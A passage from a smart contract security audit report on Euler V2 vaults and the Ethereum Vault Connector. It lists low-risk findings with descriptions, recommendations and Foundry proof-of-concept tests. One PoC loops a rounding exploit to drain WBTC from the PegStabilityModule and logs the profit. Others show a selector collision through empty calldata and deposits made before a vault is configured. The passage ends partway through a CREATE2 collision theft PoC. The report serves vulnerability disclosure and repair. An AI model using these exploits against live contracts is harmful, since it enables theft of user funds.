Context: Liquidation.sol#L229-L233, Liquidation.sol#L92

Description: The implementation of the `cool off period` could incur losses on both depositors of the vault and liquidators under following scenarios:

- Scenario 1:

  If the `violator` goes into `insolvency` during the `cool off period` (since he can not be liquidated immediately) then the `bad debt` will have to be incurred on the `depositors of the vault`. Which is a loss to the `depositors` due to this `cool off period feature`.

  1. The account is `undercollateralized` if the `riskAdjustedLiquidationCollateralValue <= liabilityValue` of the account.
  2. The vault is set with `0.9` for both `BorrowLTV` and `LiquidationLTV`. (Which is allowed to be configured since `BorrowLTV == LiquidationLTV` is allowed).
  3. The `borrower has taken the full eligible borrow value` and is considered `undercollateralized` but can not be liquidated due to `cool off period`.
  4. The `borrower` gets into `insolvency` during the `cool off period` and still can not be liquidated.

5. Now `Once the borrower` is liquidated after the cool off period the `depositors` will have bear the loss of bad debt due to bad debt socialization.

- Scenario 2:

  `Liquiadtion-cool-off-period`, feature gives advantage to the `violator` since he doesn't have to be worried of keeping his `account healthy` even if he is `undercollateralized` as long as there is time remaining in the `cool off period`. Hence it gives the `violator` to utilize his funds in other investments and only to make his account healthy (By depositing just enough collateral or repaying the minimum required amount and borrowing 1 wei in the same transaction to update the cool off period again) just before the `cool off period ends`. So `violator` can make most return out of his `available funds` where as the `liquidators` miss out on the `opportunity` to make profit (comparatively) thus could discourage them, which is not healthy for the protocol.

  1. The account is `undercollateralized` if the `riskAdjustedLiquidationCollateralValue <= liabilityValue` of the account.
  2. The vault is set with `0.9` for both `BorrowLTV` and `LiquidationLTV`. (Which is allowed to be configured since `BorrowLTV == LiquidationLTV` is allowed).
  3. The `borrower has taken the full eligible borrow value` and is considered `undercollateralized` but can not be liquidated due to `cool off period`.
  4. The borrower's collateral further loses on value and get further into violation.
  5. When the `cool off period` nears the end, the `borrower` will repay the `owed` amount or deposit collateral, (just enough to keep him healthy and can not be liquidated), and will borrow `one wei` in the same transaction and update his `metadata` timestamp of the account.

Recommendation: Since `Liquidation Cool Off Period` is a design decision it is recommended to document the losses which could incur on the depositors of the vault and liquidators as a result of `undercollateralized` accounts not being able to be liquidated immediately due to `cool off period`.

3.1.76 On Blast - an attacker can set themselves as the governor and take gas fees

Submitted by 0xa5df

Severity: Low Risk

Context: EthereumVaultConnector.sol#L862

Description: On Blast - smart contracts can earn part of the gas fees that's used on them. Every smart contract has a governor, by default it's the smart contract itself but the smart contract can set any address as the governor via a call to the `Blast` contract.

If/when EVC is deployed on Blast, anyone can set themselves as the governor using the `call()` function. Once that's done, the attacker would remain the governor and would earn the fees. Not even the contract itself can remove them from being the governor.

Recommendation: Prevent calls to that address.

3.1.77 Incorrect documentation: `totalDeposited` variable is not used

Submitted by Akshay Srivastav

Severity: Low Risk

Context: EulerSavingsRate.sol#L21

Description: The whitepaper mentions that:

> On deposit and redeem accrued interest is added to the `totalDeposited` variable which tracks all deposits in the vault in a donation attack resistent manner.

However `totalDeposited` variable is never used and instead `_totalAssets` is used.

Recommendation: Update the whitepaper with correct variable name.

3.1.78 New EVault deployment and configuration mechanism can be tricked to gain advantages

Submitted by Akshay Srivastav

Severity: Low Risk

Context: Initialize.sol#L20

Description: When a new EVault is deployed all its configuration parameters do not get set in the deployment txn. The governor needs to set them after the deployment using dedicated setter functions (like `setCaps`).

In the meanwhile nothing prevents a user from interacting with the vault. In case a user interacts with the vault before vault's configuration is complete then vault may behave differently than expected by the deployer.

Some scenarios:

- User can become depositor of a synthetic asset vault before `hookedOps` and `hookTarget` get set.
- In case vault's security depends upon the `hook` call then that can also be escaped.
- User can escape supply cap by depositing before supply cap is set.

Impact & Likelihood:

- Protocol wants the ESynth to be the only depositor of a synthetic asset vault. But by backrunning the vault's deployment any user can become a depositor and break the original assumption of the protocol.
- We are assuming that vault creation and configuration will be done in a EVC batch which eliminates this issue. But nothing prevents deployers from interacting with `GenericFactory` directly which will expose them to this issue.

Considering the open nature of EulerV2 in creation and management of EVaults, this issue can materialize in real life. Hence `medium` severity is appropriate.

Proof of concept: Test case was added in `test/unit/esvault/ESVault.allocate.t.sol`. Also add this statement at the top of file:

```
import {ESVaultTestBase, ESynth, IEVault} from "./ESVaultTestBase.t.sol";
```

```
function test_poc_initialize() public {
    address user = makeAddr("user");
    assetTSTAsSynth.mint(user, 100);    // Optionally, ESynth can be purchased from PSM as well

    // New Synthetic Asset Vault gets deployed
    IEVault esVault = IEVault(
        factory.createProxy(address(0), true, abi.encodePacked(address(assetTSTAsSynth), address(oracle),
↪   unitOfAccount))
    );
    assertEq(esVault.governorAdmin(), address(this));

    // Before admin sets other necessary parameters of Vault
    // (like `hookedOps` which prevent deposits of users into EsVault)
    // A user performs the deposit

    vm.startPrank(user);
    assetTSTAsSynth.approve(address(esVault), 100);
    esVault.deposit(100, user);
    assertEq(esVault.balanceOf(user), 100);
    // User becomes depositor of EsVault

    vm.stopPrank();
}
```

Recommendation: Consider taking all config parameters of EVault as input from user in the `GenericFactory.createProxy` function. Or add a flag which can be enabled only by governor before which no user can interact with the vault.

3.1.79 Partial loan repayment via `repayWithShares` reverts for unhealthy positions when called by borrower

Submitted by Akshay Srivastav, also found by shaka and Alex The Entreprenerd

Severity: Low Risk

Context: Borrowing.sol#L97-L98

Description: In the `BorrowingModule.repayWithShares` function an account status check is registered for the caller.

```
function repayWithShares(uint256 amount, address receiver) public virtual nonReentrant returns (uint256,
↪  uint256) {
    (VaultCache memory vaultCache, address account) = initOperation(OP_REPAY_WITH_SHARES, CHECKACCOUNT_CALLER);
    // ...
}
```

This is done to prevent users from moving their vault shares which could be acting as collateral for some other liability vault.

However this implementation creates an issue when an account deposits the underlying tokens in the liability vault itself. In that case the borrower cannot partially repay his loan using his vault shares if his account becomes unhealthy. This happens due to the account status check added for the caller which reverts as his position remains unhealthy after partial repay.

1. User borrows from a vault.
2. User deposits into the same vault.
3. User's position becomes unhealthy.
4. Now user cannot repay his loan partially as his status check reverts at end.
5. Also user cannot move or access his deposited underlying tokens.

Impact:

- On protocol:
  - Protocol is disallowing loan repayments which by design pushes the Vault towards an unhealthy state instead of always favouring a healthy state for the vault.
  - Protocol's design allows partial repayment of unhealthy loans via the `repay` function. So not allowing the same via `repayWithShares` is an inconsistency.
- On users:
  - Users become unable to partially repay their loans which forces their borrowings to accrue more interest and may also push them toward liquidation (and eventually debt socialization).
  - Users cannot access their funds deposited in the liability vault, these funds can neither be used for partial loan repayment nor can be withdrawn.

Overall the impact is `medium` as the issue only impacts unhealthy loans.

Likelihood: The likelihood of this issue is high as positions can become unhealthy quite often in lending protocols. Considering Euler is intended to be released as an open protocol on which other integrators can also build upon, and Vault can be created and used permissionlessly, the likelihood gets even higher.

Proof of concept: This test case was added in `test/unit/evault/modules/Liquidation/basic.t.sol`.

```
function test_reverts_partialRepayWithSharesForUnhealthyAccount() public {
    startHoax(borrower);

    // create a healthy borrow position
    eTST2.deposit(10e18, borrower);
    evc.enableCollateral(borrower, address(eTST2));
    evc.enableController(borrower, address(eTST));
    eTST.borrow(5e18, borrower);
    assertEq(assetTST.balanceOf(borrower), 5e18);

    // make position unhealthy
    oracle.setPrice(address(eTST2), unitOfAccount, 0.1e18);
    (uint256 maxRepay, uint256 yield) = eTST.checkLiquidation(liquidator, borrower, address(eTST2));
    assertGt(maxRepay, 0);
    assertGt(yield, 0);

    // borrower deposits into controller vault
    assetTST.approve(address(eTST), 5e18);
    eTST.deposit(5e18, borrower);
    assertEq(eTST.balanceOf(borrower), 5e18);

    // partial repayment with shares reverts due to account status check
    assertEq(eTST.debtOf(borrower), 5e18);
    vm.expectRevert(Errors.E_AccountLiquidity.selector);
    eTST.repayWithShares(1e18, borrower);
}
```

Recommendation: In case the user is repaying his own debt using `repayWithShares` then the account status check can be skipped.

3.1.80 Protocol is going to ingest stale data for some Chainlink feeds

Submitted by Bauchibred

Severity: Low Risk

Context: ChainlinkOracle.sol#L18

Description: Protocol integrates a lower and upper bound for their staleness checks when integrating Chainlink. However a wrong assumption has been made on how low the heartbeat of a Chainlink feed could be which would then cause for the protocol to always ingest stale data for these feeds.

```
uint256 internal constant MAX_STALENESS_LOWER_BOUND = 1 minutes;
```

We can see that protocol assumes the minimum possible Chainlink price age to be 60 seconds. However, there are Chainlink oracles that have heartbeat that is less than 60 seconds; these oracles are essential for providing prices for the ERC20 tokens that should be supported by this protocol. For example, the USDC / USD Chainlink oracle on Polygon has a heartbeat of 27 seconds according to the popup of the Trigger parameters section's information icon.

So for Chainlink oracles that have heartbeat that is less than 60 seconds, `block.timestamp - updatedAt > maxStaleness` in the shown _getQuote() function below can be false when the updatedAt actually corresponds to a stale price. For instance, when the updatedAt returned by the USDC / USD Chainlink oracle on Polygon is `block.timestamp - 27`, a newer price should be reported at `block.timestamp - 27` but that did not happen so the corresponding price reported at `block.timestamp - 27` is already stale; yet, because `block.timestamp - updatedAt > maxStaleness` is false for such `updatedAt`, the `_getQuote` function does not revert with the `Errors.PriceOracle_TooStale(staleness, maxStaleness)` error. As a result, the stale price is used in the `_getQuote` function.

Proof of concept:

- Take a look at ChainlinkOracle.sol#L41-L56:

```
constructor(address _base, address _quote, address _feed, uint256 _maxStaleness) {
    if (_maxStaleness < MAX_STALENESS_LOWER_BOUND || _maxStaleness > MAX_STALENESS_UPPER_BOUND) {
        revert Errors.PriceOracle_InvalidConfiguration();
    }

    base = _base;
    quote = _quote;
    feed = _feed;
    maxStaleness = _maxStaleness;

    // The scale factor is used to correctly convert decimals.
    uint8 baseDecimals = _getDecimals(base);
    uint8 quoteDecimals = _getDecimals(quote);
    uint8 feedDecimals = AggregatorV3Interface(feed).decimals();
    scale = ScaleUtils.calcScale(baseDecimals, quoteDecimals, feedDecimals);
}
```

Recommendation: Remove the lower restriction to setting the `staleness` value, considering this is an admin backed function we should trust the correct value being set and in this case we can have it rightly set to less than a minute for feeds that require it to be so.

3.1.81 Incorrect rounding direction in `PegStabilityModule` allows attackers to drain the contract

Submitted by mt030d

Severity: Low Risk

Context: PegStabilityModule.sol#L117-L127, PegStabilityModule.sol#L139-L141, PegStabilityModule.sol#L153-L155

Description: In the `PegStabilityModule` contract, users can call `swapToSynthGivenOut()` to swap underlying assets to synth assets.

```
function swapToSynthGivenOut(uint256 amountOut, address receiver) external returns (uint256) {
    uint256 amountIn = quoteToSynthGivenOut(amountOut);
    if (amountIn == 0 || amountOut == 0) {
        return 0;
    }

    underlying.safeTransferFrom(_msgSender(), address(this), amountIn);
    synth.mint(receiver, amountOut);

    return amountIn;
}
```

`swapToSynthGivenOut()` internally calls `quoteToSynthGivenOut()` to compute the required `amountIn` of underlying assets to swap for the desired `amountOut` of synth assets.

```
function quoteToSynthGivenOut(uint256 amountOut) public view returns (uint256) {
    return amountOut * BPS_SCALE * conversionPrice / (BPS_SCALE - TO_SYNTH_FEE) / PRICE_SCALE;
}
```

The issue is that when the decimals of the underlying asset is less than 18, the `conversionPrice` is less than `PRICE_SCALE`. Then the `amountIn` computed by `quoteToSynthGivenOut()` could be less than it should be due to precision loss, allowing user to swaps fewer underlying assets for synth assets.

For example, assume the underlying asset is WBTC, which has 8 decimals, making the `conversionPrice` 1e10. let's set `TO_SYNTH_FEE` to 30 to make the scenario more realistic.

When the `amountOut` is 199399999 (worth around 2 wei WBTC), the `amountIn` computed by `quoteToSynthGivenOut` will be

$$199399999 \times 10^4 \times 10^{10}/(10^4 - 30)/10^{18}$$

which is 1 due to division truncation in Solidity. Therefore, if the user calls `swapToSynthGivenOut()` with 199399999 as the `amountOut`, they can swap 1 wei WBTC for around 2 wei WBTC worth of synth assets. They can repeat this process multiple times and then use `swapToUnderlyingGivenOut()` to swap all synth assets back to WBTC.

This attack vector allows attackers to drain the underlying assets in the `PegStabilityModule` contract. Moreover, this attack is profitable if launched on layer2s. For example, on arbitrum, the gas price can be as low as 0.01 gwei. As shown in the POC below, by executing `swapToSynthGivenOut()` 1000 times and then use `swapToUnderlyingGivenOut()` to swap back to WBTC:

- The attacker can get 988 wei WBTC, worth around $ 65000 \times 988 / 10^8 \approx 0.64 $
- The gas usage is about 16201421, costing around $ 3500 \times 16201421 \times 0.01 \times 10^9 / 10^{18} \approx 0.57$, which is less than the profit above.

The `quoteToUnderlyingGivenOut()` function also has the same precission loss issue as `quoteToSynthGivenOut()`.

Proof of concept:

```
// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.0;

import {EVaultTestBase} from "./EVaultTestBase.t.sol";
import "../../../src/EVault/shared/types/Types.sol";
import "../../../src/EVault/shared/Constants.sol";

import {ESynth} from "../../../src/Synths/ESynth.sol";
import {PegStabilityModule} from "../../../src/Synths/PegStabilityModule.sol";
import {TestERC20} from "../../mocks/TestERC20.sol";

import "forge-std/console.sol";

contract POC_Test is EVaultTestBase {
    using TypesLib for uint256;

    uint256 public TO_UNDERLYING_FEE = 30;
    uint256 public TO_SYNTH_FEE = 30;
    uint256 public BPS_SCALE = 10000;
    uint256 public CONVERSION_PRICE = 1e10;
    uint256 public PRICE_SCALE = 1e18;

    TestERC20 WBTC;
    ESynth synth;
    PegStabilityModule psm;

    address alice = makeAddr("alice");

    function setUp() public override {
        super.setUp();

        WBTC = new TestERC20("Wrapped BTC", "WBTC", 8, false);
        synth = new ESynth(evc, "TestSynth", "TSYNTH");
        psm = new PegStabilityModule(
            address(evc), address(synth), address(WBTC), TO_UNDERLYING_FEE, TO_SYNTH_FEE, CONVERSION_PRICE
        );
        synth.setCapacity(address(psm), 100e18);

        WBTC.mint(address(psm), 100e8);
        WBTC.mint(alice, 1000);

        vm.startPrank(alice);
        WBTC.approve(address(psm), type(uint256).max);
        synth.approve(address(psm), type(uint256).max);
        vm.stopPrank();
    }

    function test_POC() external {
        vm.startPrank(alice);

        uint256 snapshot = vm.snapshot();

        console.log("initial user state:");
        console.log("    WBTC  balance: %s", WBTC.balanceOf(alice));
        console.log("    Synth balance: %s", synth.balanceOf(alice));
        console.log();

        // exploit the incorrect rounding direction to swap more synth from underlying
        uint256 synthAmountOut = 0.997e8 * 2 - 1;
        uint256 wbtcAmountIn;
```

```
        for (uint256 i; i < 1000; i++) {
            uint256 amount = psm.swapToSynthGivenOut(synthAmountOut, alice);
            assertEq(amount, 1);
            wbtcAmountIn += amount;
        }

        console.log("user state after swapToSynthGivenOut loops:");
        console.log("    WBTC  balance: %s", WBTC.balanceOf(alice));
        console.log("    Synth balance: %s", synth.balanceOf(alice));
        console.log();

        psm.swapToUnderlyingGivenOut(1988, alice);

        console.log("user state after swapToUnderlyingGivenOut:");
        console.log("    WBTC  balance: %s", WBTC.balanceOf(alice));
        console.log("    Synth balance: %s", synth.balanceOf(alice));
        console.log();

        // estimate the gas usages
        vm.revertTo(snapshot);
        uint256 gasBefore = gasleft();
        for (uint256 i; i < 1000; i++) {
            psm.swapToSynthGivenOut(synthAmountOut, alice);
        }
        psm.swapToUnderlyingGivenOut(1988, alice);
        uint256 gasUsed = gasBefore - gasleft();
        console.log("gas used %s", gasUsed);

        vm.stopPrank();
    }
}
```

Place the above code in the file `test/unit/evault/POC.t.sol", then run the command` forge test --mc POC -vv'.

The result is as follows:

```
Logs:
  initial user state:
      WBTC  balance: 1000
      Synth balance: 0

  user state after swapToSynthGivenOut loops:
      WBTC  balance: 0
      Synth balance: 199399999000

  user state after swapToUnderlyingGivenOut:
      WBTC  balance: 1988
      Synth balance: 1804417

  gas used 16201421
```

Recommendation: The `amountIn` value in `quoteToSynthGivenOut()` and `quoteToUnderlyingGivenOut()` should be rounded up.

3.1.82 Redundant calls to `getAddressPrefixInternal()`

Submitted by eta

Severity: Low Risk

Context: EthereumVaultConnector.sol#L1210

Description: In the `EthereumVaultConnector.sol` contract, the `isAccountOperatorAuthorizedInternal()` function first calls the `getAccountOwnerInternal()` function to retrieve the owner's address, and then calls the `getAddressPrefixInternal()` function to obtain the `addressPrefix`, resulting to redundant calls to `getAddressPrefixInternal()`.

Proof of concept: In the `EthereumVaultConnector.sol` contract, the `isAccountOperatorAuthorizedInternal()` function first calls the `getAccountOwnerInternal()` function to retrieve the owner's address, and then calls the `getAddressPrefixInternal()` function to obtain the `addressPrefix`.

- EthereumVaultConnector::isAccountOperatorAuthorizedInternal:

```
function isAccountOperatorAuthorizedInternal(
    address account,
    address operator
) internal view returns (bool isAuthorized) {
    address owner = getAccountOwnerInternal(account);
    // ...
    bytes19 addressPrefix = getAddressPrefixInternal(account);
```

The issue arises because the `getAccountOwnerInternal()` function also calls `getAddressPrefixInternal()` to obtain the `addressPrefix`. This results in redundant calls to `getAddressPrefixInternal()`.

- EthereumVaultConnector::getAccountOwnerInternal

```
function getAccountOwnerInternal(
    address account
) internal view returns (address) {
    bytes19 addressPrefix = getAddressPrefixInternal(account);
    return ownerLookup[addressPrefix].owner;
}
```

It is suggested that the `isAccountOperatorAuthorizedInternal()` function can be modified similar to the `authenticateCaller()` function. Instead of calling `getAddressPrefixInternal()` twice, it can first call `getAddressPrefixInternal()` to retrieve the `addressPrefix`, and then directly access `ownerLookup[addressPrefix].owner` to obtain the owner's address.

- EthereumVaultConnector::authenticateCaller:

```
function authenticateCaller(
    address account,
    bool allowOperator,
    bool checkLockdownMode
) internal virtual returns (address) {
    bytes19 addressPrefix = getAddressPrefixInternal(account);
    address owner = ownerLookup[addressPrefix].owner;
```

Recommendation:

```
  function isAccountOperatorAuthorizedInternal(
      address account,
      address operator
  ) internal view returns (bool isAuthorized) {
-     address owner = getAccountOwnerInternal(account);
      // ...
-     bytes19 addressPrefix = getAddressPrefixInternal(account);

+     bytes19 addressPrefix = getAddressPrefixInternal(account);
+     address owner = ownerLookup[addressPrefix].owner;
```

3.1.83 `checkVaultStatus()` might cause chained liquidation DOS

Submitted by oakcobalt

Severity: Low Risk

Context: RiskManager.sol#L118

Description: callHookWithLock() in `RiskManager::checkVaultStatus()` allows a vault's governor to set checks on various vaults' states and revert when necessary. For example, a vault's governor might choose to revert `checkVaultStatus()` when a utilization cap is reached. This can be necessary for a nested vault where debt value has nested compounding or any interest-bearing underlying assets that increase `totalBorrow` without new borrows.

In any case, where `callHookWithLock()` in `checkVaultStatus()` reverts, this can have a chained effect on liquidation in all dependent vaults. Liquidation can be DOSsed for all vaults that enlist the collateral vault as legal collateral.

Flow impacted: `RiskManager::liquidate()` → `executeLiquidation()` → `enforceCollateralTransfer()` → `evc.controlCollateral()` → (collateral vault) `Token::transfer()` → `initOperation()` (*Note: this add*

vaultA's status check at the end of the liquidate transaction).

- RiskManager.sol#L118

```
function checkVaultStatus() public virtual reentrantOK onlyEVCChecks returns (bytes4 magicValue) {
// ...
    callHookWithLock(vaultCache.hookedOps, OP_VAULT_STATUS_CHECK, address(evc));

    magicValue = IEVCVault.checkVaultStatus.selector;
```

Proof of concept:

1. Suppose vaultB enlists vaultA as one of the legal collateral assets. When vaultA's `checkVaultStatus()` revert (e.g. utilization cap is reached), this will revert vaultB's liquidation calls during collateral transfer.

   VaultB: `liquidate()` → `executeLiquidation()` → `enforceCollateralTransfer()` → `evc.controlCollateral()` → VaultA: `transfer()` → VaultA: `initOperation()`

   As a result, when vaultB needs liquidation the most, any debt positions that include vaultA as collateral cannot be liquidated.

2. Suppose vaultB is a synthetic vault. vaultB enlists vaultA as one of the legal collateral assets.

   Similarly, vaultB's borrow positions cannot be liquidated if vaultA's `checkVaultStatus()` revert. This will affect the pegging of the synthetic asset in vaultB.

3. vaultB enlists vaultA as one of the legal collateral asset. vaultC enlist vaultB as one of the legal collateral asset.

Similarly, vaultB's debt positions cannot be liquidated if vaultA's `checkVaultStatus()` revert. This might cause vaultB's totalBorrow to be undercollateralized. vaultB's share price will be inflated. Because vaultB is a collateral vault in vaultC, vaultC's debt positions can also be impacted.

Recommendation: Consider allowing `checkVaultStatus` to fail in an emergency mode for liquidation, when evc's `executionContext.isControlCollateralInProgress() == true`.

3.1.84 A call with empty calldata may have unexpected behavior

Submitted by lukaprini

Severity: Low Risk

Context: BeaconProxy.sol#L72, MetaProxyDeployer.sol#L15

Description: The evaults are deployed by `GenericFactory.createProxy`, with either BeaconProxy or MetaProxy. Both of proxies will append metadata to every delegatecall to the implementation. In the current implementation of EVault, the metadata will be asset address, oracle address and the unit of account. The fallback will be triggerred regardless of the original calldata's length, including empty calldata.

If the evault is called with empty calldata, the first 4 bytes of the asset address will be interpreted as the selector in the delegatecall. Since the implementation itself does not have fallback, the call with empty calldata would likely to revert. But the first 4bytes of the asset address happens to be a function selector, this call might trigger unexpected function.

Also, if the first 4 digit of asset address coincides with some governance functions, the governor might accidently call to the vault and set unexpected values to the configuration.

Proof of concept: In the below proof of concept, the asset address' first 4 bytes coincide with `enableBalanceForwarder`. In that case, if an usercalls the vault with empty calldata, the user will actually trigger the `enableBalanceForwarder` function, and the balance forwarder will be enabled.

```
// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.0;

import {EVaultTestBase} from "./EVaultTestBase.t.sol";
import "../../../src/EVault/shared/types/Types.sol";
import "../../../src/EVault/shared/Constants.sol";
import {Permit2ECDSASigner} from "../../mocks/Permit2ECDSASigner.sol";
import {IERC4626} from "../../../src/EVault/IEVault.sol";
```

```
import {TestERC20} from "../../mocks/TestERC20.sol";
import {EVault} from "../../../src/EVault/EVault.sol";
import {Dispatch} from "../../../src/EVault/Dispatch.sol";

contract POC_Test_PLAY1 is EVaultTestBase {
    using TypesLib for uint256;


    address user;

    function setUp() public override {
        // There are 2 vaults deployed with bare minimum configuration:
        // - eTST vault using assetTST as the underlying
        // - eTST2 vault using assetTST2 as the underlying

        // Both vaults use the same MockPriceOracle and unit of account.
        // Both vaults are configured to use IRMTestDefault interest rate model.
        // Both vaults are configured to use 0.2e4 max liquidation discount.
        // Neither price oracles for the assets nor the LTVs are set.
        super.setUp();

        // In order to further configure the vaults, refer to the Governance module functions.

        user = makeAddr("user1");
    }

    function test_call_emptydata_enableBalanceForwarder() public {
        bytes memory data = "";

        address myaddress = help_address_selector(address(0x1111111111111111),
↪  EVault.enableBalanceForwarder.selector);
        deployCodeTo("TestERC20.sol", abi.encode("T3", "T3", 6, false), myaddress);
        TestERC20 assetTST3 = TestERC20(myaddress);
        IEVault eTST3 = IEVault(
          factory.createProxy(
            address(0), //impl
            false, // upgradable
            abi.encodePacked(
              myaddress, // asset
              address(oracle),
              unitOfAccount
            )
        )
        );

        assert(!eTST3.balanceForwarderEnabled(user));
        hoax(user);
        address(eTST3).call("");
        assert(eTST3.balanceForwarderEnabled(user));
    }

    function test_call_emptydata_touch() public {
        bytes memory data = "";

        address myaddress = help_address_selector(address(0x1111111111111111), EVault.touch.selector);
        deployCodeTo("TestERC20.sol", abi.encode("T3", "T3", 6, false), myaddress);
        TestERC20 assetTST3 = TestERC20(myaddress);
        IEVault eTST3 = IEVault(
          factory.createProxy(
            address(0), //impl
            false, // upgradable
            abi.encodePacked(
              myaddress, // asset
              address(oracle),
              unitOfAccount
            )
        )
        );

        hoax(user);
        evc.call(address(eTST3), user, 0, "");
        hoax(user);
        address(eTST3).call("");
    }

    function help_address_selector(address theAddress, bytes4 selector) public returns (address) {
```

```
      return address(uint160(uint128(uint160(theAddress))) + uint160(bytes20(selector)));
    }
}
```

Recommendation: In the fallback function in the proxy, check the length of the calldata to be more or equal to the `bytes4`.

3.1.85 Small discrepancy between spec and behaviour of `calculateLiquidity`

Submitted by Alex The Entreprenerd

Severity: Low Risk

Context: Liquidation.sol#L121-L130

Description: The invariant specification asserts that "*Liquidations can be performed only when the account is unhealthy*". But in reality the liquidation will be a no-op when the account is healthy. Here's an example of a repro I got by running the suite (for a week)

```
Logs:
  violator 0xe8dc788818033232EF9772CB2e6622F1Ec8bc840
  violatorStatus true
  maxRepay 0
  maxYield 0
  eTST.debtOf(violator) 29
  eTST2.balanceOf(violator) 0
  Error: LM_INVARIANT_A: Liquidation can only succed if violator is unhealthy
  Error: Assertion Failed
```

Causes the property to fail. But the reality is that the liquidation doesn't happen as the check

```
if (collateralAdjustedValue > liabilityValue) return liqCache;
```

causes the call to return early:

```
  violator 0xe8dc788818033232EF9772CB2e6622F1Ec8bc840
  violatorStatus true
  liqCache.liability.isZero() false
  collateralAdjustedValue 170250000000000000000
  liabilityValue 35
  maxRepay 0
  maxYield 0
  eTST.debtOf(violator) 29
  eTST2.balanceOf(violator) 0
  liqCache.liability.isZero() false
  collateralAdjustedValue 170250000000000000000
  liabilityValue 36
  Error: LM_INVARIANT_A: Liquidation can only succed if violator is unhealthy
  Error: Assertion Failed
```

Proof of concept:

```
// forge test --match-test test_the_liq -vvvv
function test_the_liq() public {
    vm.roll(49339);
    vm.warp(218656);
    vm.prank(0x0000000000000000000000000000000000020000);
    this.enableController(80625867510600920653064755944187315993272806964449434477930552156642982367556);

    vm.roll(107336);
    vm.warp(737896);
    vm.prank(0x0000000000000000000000000000000000010000);
    this.enableController(10317888187070563555012660955272452005948635588537981263567338661012812981509 2);

    vm.roll(161648);
    vm.warp(1322806);
    vm.prank(0x0000000000000000000000000000000000020000);
    this.enableCollateral(10436738443473211299013850273961195627368996392649379343829395685322504371598 4);

    vm.roll(172627);
    vm.warp(1607644);
    vm.prank(0x0000000000000000000000000000000000030000);
    this.setPrice(11579208923731619542357098500868790785326998466564056403945458400791312963993 6, 42);
```

```
    vm.roll(219660);
    vm.warp(1902337);
    vm.prank(0x0000000000000000000000000000000000020000);
    this.setLTV(115792089237316195423570985008687907853269984665640564039457584007913129639065, 1197, 1362, 0);

    vm.roll(229196);
    vm.warp(2469902);
    vm.prank(0x0000000000000000000000000000000000010000);
    this.depositToActor(600, 18000000000);

    vm.roll(229380);
    vm.warp(2997237);
    vm.prank(0x0000000000000000000000000000000000020000);
    this.borrowTo(28, 115792089237316195423570985008687907853269984665640564039457584007905129636613);

    vm.roll(238659);
    vm.warp(3017958);
    vm.prank(0x0000000000000000000000000000000000010000);
    this.enableCollateral(430205191552123834929683281040630106297877667272910648469168408077299642774 11);

    vm.roll(274235);
    vm.warp(3420552);
    vm.prank(0x0000000000000000000000000000000000030000);
    this.setPrice(
        115792089237316195423570985008687907853269984665640564039455934007913129639936, 1250000000000000000
    );

    // EXTRA DEBUG

    address violator =
↪   _getRandomActor(909766752683079007329421710805454333493241261572553099614106412813846114912 41);
    console2.log("violator", violator);
    bool violatorStatus = isAccountHealthyLiquidation(violator);
    console2.log("violatorStatus", violatorStatus);

    (uint256 maxRepay, uint256 maxYield) = eTST.checkLiquidation(address(0x1), violator,
↪   _getRandomAccountCollateral(909766752683079007329421710805454333493241261572553099614106412813846114912 41,
↪   address(violator)));
    console2.log("maxRepay", maxRepay);
    console2.log("maxYield", maxYield);

    // Try borrowing 1 wei to see if system thinks account is safe or smth
    vm.roll(288654);
    vm.warp(3781009);

    vm.prank(0x0000000000000000000000000000000000020000);
    this.borrowTo(1, 1);

    // EXTRA try seening if debt socialization does something
    this.setDebtSocialization(true);

    console2.log("eTST.debtOf(violator)", eTST.debtOf(violator));
    console2.log("eTST2.balanceOf(violator)", eTST2.balanceOf(violator));


    /// @audit Weird but basically the liq function could also not revert
    vm.roll(288654);
    vm.warp(3781009);
    vm.prank(0x0000000000000000000000000000000000010000);
    this.clampedLiquidate(909766752683079007329421710805454333493241261572553099614106412813846114912 41);
}
```

Additionally, there's a possibility for the `calculateLiquidity` function to revert when the liabilityValue rounds down to zero due to division by zero. This means that `calculateLiquidity` doesn't always return (0, 0) on no-op, it can also revert

3.1.86 An attacker can exploit the EVC account system to steal Euler vault tokens from users

Submitted by alexfilippov314

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: The `EVC` introduces a new account system where all addresses with the same last byte are considered to belong to one entity. It might seem like a minor security reduction, and Euler stated it as such in the code comments, but it might lead to drastic consequences. Let's describe an attack first and then estimate the cost of this attack.

An attacker might exploit the `EVC` account system in the following way:

1. The attacker implements a nice, secure, and meaningful protocol that supports Euler vaults and obtains its bytecode.
2. The attacker implements a malicious contract that allows arbitrary parameters to be provided to `EVC.call` and `EVC.batch`, and obtains its bytecode.
3. The attacker finds salt values (for the `CREATE2` opcode) for these contracts to ensure that their addresses differ only in the last byte.
4. The attacker deploys the secure contract.
5. The attacker attracts users to this contract. At this point, there are no issues with this contract.
6. Users deposit some Euler vault tokens into this contract.
7. The attacker deploys the malicious contract.
8. The attacker uses this malicious contract to transfer all the Euler vault tokens from the secure contract to their address using the `EVC.call` or `EVC.batch`.

A simplified example of this attack can be found in the attached proof of concept.

Now, let's consider why step 3 is feasible. We will use a method similar to the one from EIP-3607. Firstly, we know from the birthday paradox that we'll likely find a collision after 2^(152/2) = 2^76 `CREATE2` attempts. For two contracts, we will need about 2^77 `CREATE2` operations. According to EIP-1014, each `CREATE2` opcode requires the computation of two `keccak256` hashes but one of these hashes can be computed only once. This means that the attack requires the computation of about 2^77 `keccak256` hashes.

Let's assume that `SHA-256` is four times faster than `keccak256` (in reality, it shouldn't be that bad). This means that the attack is equivalent to computing 2^79 `SHA-256` hashes. According to blockchain.com, the current hash rate of Bitcoin is about 600 E hash/s, or approximately 2^69 double `SHA-256` hashes per second. This means that the attack is equivalent to 2^(79-70) = 2^9 seconds of Bitcoin miners' work. This is about 9 minutes of miners' work or approximately $200,000.

This is a rough estimate, but it provides an order of magnitude of the attack cost. As you can see, the cost of this attack is not prohibitively high. An attacker might gain much more, especially since the attack remains undetectable until it is too late. The only downside of this attack is that the attacker must invest in it beforehand without any guarantee of attracting a sufficient amount of Euler vault tokens to cover the cost. However, as mentioned earlier, the attack is already relatively inexpensive and will likely become even cheaper in the future.

Proof of concept:

```
// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.0;

import {console} from "forge-std/Test.sol";
import {EVaultTestBase} from "./EVaultTestBase.t.sol";
import "../../../src/EVault/shared/types/Types.sol";
import "../../../src/EVault/shared/Constants.sol";
import {IEVC} from "ethereum-vault-connector/interfaces/IEthereumVaultConnector.sol";
